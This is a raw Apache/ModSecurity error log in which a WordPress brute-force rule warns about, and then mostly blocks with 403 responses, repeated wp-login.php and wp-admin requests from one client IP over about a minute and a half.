[Sat Feb 28 01:54:22.920956 2026] [:error] [pid 15240:tid 15266] [client 5.189.134.86:49607] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHaTi1iKL_41Rk9A9OK5QAAABg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:54:24.263977 2026] [:error] [pid 38586:tid 38598] [client 5.189.134.86:58817] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHaUL_i6nvKNhjFW7VenQAAAQk"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:54:25.371184 2026] [:error] [pid 38586:tid 38610] [client 5.189.134.86:60312] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaUb_i6nvKNhjFW7VenwAAARU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:54:28.133288 2026] [:error] [pid 38586:tid 38591] [client 5.189.134.86:60312] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaVL_i6nvKNhjFW7VeqwAAAQI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:54:29.430167 2026] [:error] [pid 38586:tid 38611] [client 5.189.134.86:60312] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaVb_i6nvKNhjFW7VesAAAARY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:54:29.430240 2026] [:error] [pid 38586:tid 38611] [client 5.189.134.86:60312] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaVb_i6nvKNhjFW7VesAAAARY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:54:30.774295 2026] [:error] [pid 38586:tid 38599] [client 5.189.134.86:62688] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHaVr_i6nvKNhjFW7VeuQAAAQo"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:54:32.019557 2026] [:error] [pid 38620:tid 38633] [client 5.189.134.86:55920] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHaWAP6I7SRqrhh7RossAAAAUs"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:54:33.292185 2026] [:error] [pid 15240:tid 15244] [client 5.189.134.86:55920] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHaWS1iKL_41Rk9A9OK-gAAAAI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:54:34.428305 2026] [:error] [pid 38620:tid 38635] [client 5.189.134.86:60680] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHaWgP6I7SRqrhh7RosyAAAAU0"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:54:35.544024 2026] [:error] [pid 38586:tid 38590] [client 5.189.134.86:60680] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaW7_i6nvKNhjFW7VexQAAAQE"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:54:35.544109 2026] [:error] [pid 38586:tid 38590] [client 5.189.134.86:60680] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaW7_i6nvKNhjFW7VexQAAAQE"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:54:38.271856 2026] [:error] [pid 38586:tid 38611] [client 5.189.134.86:63319] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaXr_i6nvKNhjFW7Ve0QAAARY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:54:39.717539 2026] [:error] [pid 38586:tid 38612] [client 5.189.134.86:63319] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaX7_i6nvKNhjFW7Ve1AAAARc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:54:41.136830 2026] [:error] [pid 38586:tid 38593] [client 5.189.134.86:63319] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHaYb_i6nvKNhjFW7Ve2wAAAQQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:54:42.248161 2026] [:error] [pid 15100:tid 15165] [client 5.189.134.86:63331] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHaYkOEbzcINan_ctLQCAAAAEU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:54:43.610696 2026] [:error] [pid 38620:tid 38631] [client 5.189.134.86:61766] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHaYwP6I7SRqrhh7Ros_QAAAUk"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:54:44.951099 2026] [:error] [pid 38586:tid 38608] [client 5.189.134.86:61766] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHaZL_i6nvKNhjFW7Ve7QAAARM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:54:46.291691 2026] [:error] [pid 38586:tid 38604] [client 5.189.134.86:51265] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaZr_i6nvKNhjFW7Ve9QAAAQ8"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:54:49.132818 2026] [:error] [pid 38586:tid 38593] [client 5.189.134.86:51265] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaab_i6nvKNhjFW7VfCAAAAQQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:54:50.501589 2026] [:error] [pid 38586:tid 38596] [client 5.189.134.86:51265] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaar_i6nvKNhjFW7VfFAAAAQc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:54:53.431833 2026] [:error] [pid 38586:tid 38610] [client 5.189.134.86:51265] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHabb_i6nvKNhjFW7VfJAAAARU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:54:54.848773 2026] [:error] [pid 38586:tid 38604] [client 5.189.134.86:51265] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHabr_i6nvKNhjFW7VfNQAAAQ8"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:54:57.879176 2026] [:error] [pid 38586:tid 38599] [client 5.189.134.86:51265] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHacb_i6nvKNhjFW7VfTwAAAQo"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:54:57.879242 2026] [:error] [pid 38586:tid 38599] [client 5.189.134.86:51265] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHacb_i6nvKNhjFW7VfTwAAAQo"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:54:59.160527 2026] [:error] [pid 15098:tid 15113] [client 5.189.134.86:52979] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHac8kFqny8dQQbmTktnAAAAIc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:00.434991 2026] [:error] [pid 15240:tid 15249] [client 5.189.134.86:52979] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHadC1iKL_41Rk9A9OLjwAAAAc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:01.771917 2026] [:error] [pid 38586:tid 38594] [client 5.189.134.86:55900] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHadb_i6nvKNhjFW7VfVwAAAQU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:03.041444 2026] [:error] [pid 38586:tid 38605] [client 5.189.134.86:51539] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHad7_i6nvKNhjFW7VfXwAAARA"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:03.041602 2026] [:error] [pid 38586:tid 38605] [client 5.189.134.86:51539] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHad7_i6nvKNhjFW7VfXwAAARA"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:04.156927 2026] [:error] [pid 38620:tid 38633] [client 5.189.134.86:49729] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHaeAP6I7SRqrhh7RotcQAAAUs"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:05.496749 2026] [:error] [pid 38586:tid 38600] [client 5.189.134.86:57536] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHaeb_i6nvKNhjFW7VfaAAAAQs"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:06.748103 2026] [:error] [pid 38586:tid 38609] [client 5.189.134.86:55738] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHaer_i6nvKNhjFW7VfcAAAARQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:08.083096 2026] [:error] [pid 38586:tid 38604] [client 5.189.134.86:53521] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHafL_i6nvKNhjFW7VfdgAAAQ8"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:09.457507 2026] [:error] [pid 38620:tid 38640] [client 5.189.134.86:53521] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHafQP6I7SRqrhh7RoteQAAAVI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:09.457621 2026] [:error] [pid 38620:tid 38640] [client 5.189.134.86:53521] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHafQP6I7SRqrhh7RoteQAAAVI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:12.026236 2026] [:error] [pid 38586:tid 38595] [client 5.189.134.86:52810] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHagL_i6nvKNhjFW7VfhgAAAQY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:13.333910 2026] [:error] [pid 38586:tid 38601] [client 5.189.134.86:52810] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHagb_i6nvKNhjFW7VfhwAAAQw"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:15.950834 2026] [:error] [pid 38586:tid 38595] [client 5.189.134.86:52810] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHag7_i6nvKNhjFW7VflQAAAQY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:17.179372 2026] [:error] [pid 38586:tid 38607] [client 5.189.134.86:52810] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHahb_i6nvKNhjFW7VflgAAARI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:18.421538 2026] [:error] [pid 38586:tid 38611] [client 5.189.134.86:52810] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHahr_i6nvKNhjFW7VflwAAARY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:19.760303 2026] [:error] [pid 15098:tid 15117] [client 5.189.134.86:58236] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHah8kFqny8dQQbmTktrQAAAIs"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:21.092280 2026] [:error] [pid 38586:tid 38599] [client 5.189.134.86:54877] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHaib_i6nvKNhjFW7VfowAAAQo"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:22.432356 2026] [:error] [pid 38620:tid 38625] [client 5.189.134.86:49579] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHaigP6I7SRqrhh7RotqQAAAUM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:23.537605 2026] [:error] [pid 38620:tid 38636] [client 5.189.134.86:52767] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaiwP6I7SRqrhh7RotswAAAU4"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:23.537674 2026] [:error] [pid 38620:tid 38636] [client 5.189.134.86:52767] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaiwP6I7SRqrhh7RotswAAAU4"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:25.999543 2026] [:error] [pid 15240:tid 15256] [client 5.189.134.86:52767] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHajS1iKL_41Rk9A9OL5gAAAA4"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:27.260967 2026] [:error] [pid 15240:tid 15253] [client 5.189.134.86:52767] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHajy1iKL_41Rk9A9OL7AAAAAs"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:29.946295 2026] [:error] [pid 15240:tid 15252] [client 5.189.134.86:52767] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHakS1iKL_41Rk9A9OL7gAAAAo"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:31.306379 2026] [:error] [pid 15240:tid 15260] [client 5.189.134.86:52767] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaky1iKL_41Rk9A9OL8AAAABI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:31.306483 2026] [:error] [pid 15240:tid 15260] [client 5.189.134.86:52767] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaky1iKL_41Rk9A9OL8AAAABI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:32.400140 2026] [:error] [pid 15099:tid 15146] [client 5.189.134.86:60682] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHalOnvP2vtPjYDq_hAGwAAAM0"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:33.512373 2026] [:error] [pid 38586:tid 38600] [client 5.189.134.86:52683] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHalb_i6nvKNhjFW7VfwQAAAQs"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:34.630516 2026] [:error] [pid 15100:tid 15177] [client 5.189.134.86:63294] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHalkOEbzcINan_ctLQPQAAAFE"], referer: https://gigfragments.org/wp-login.php
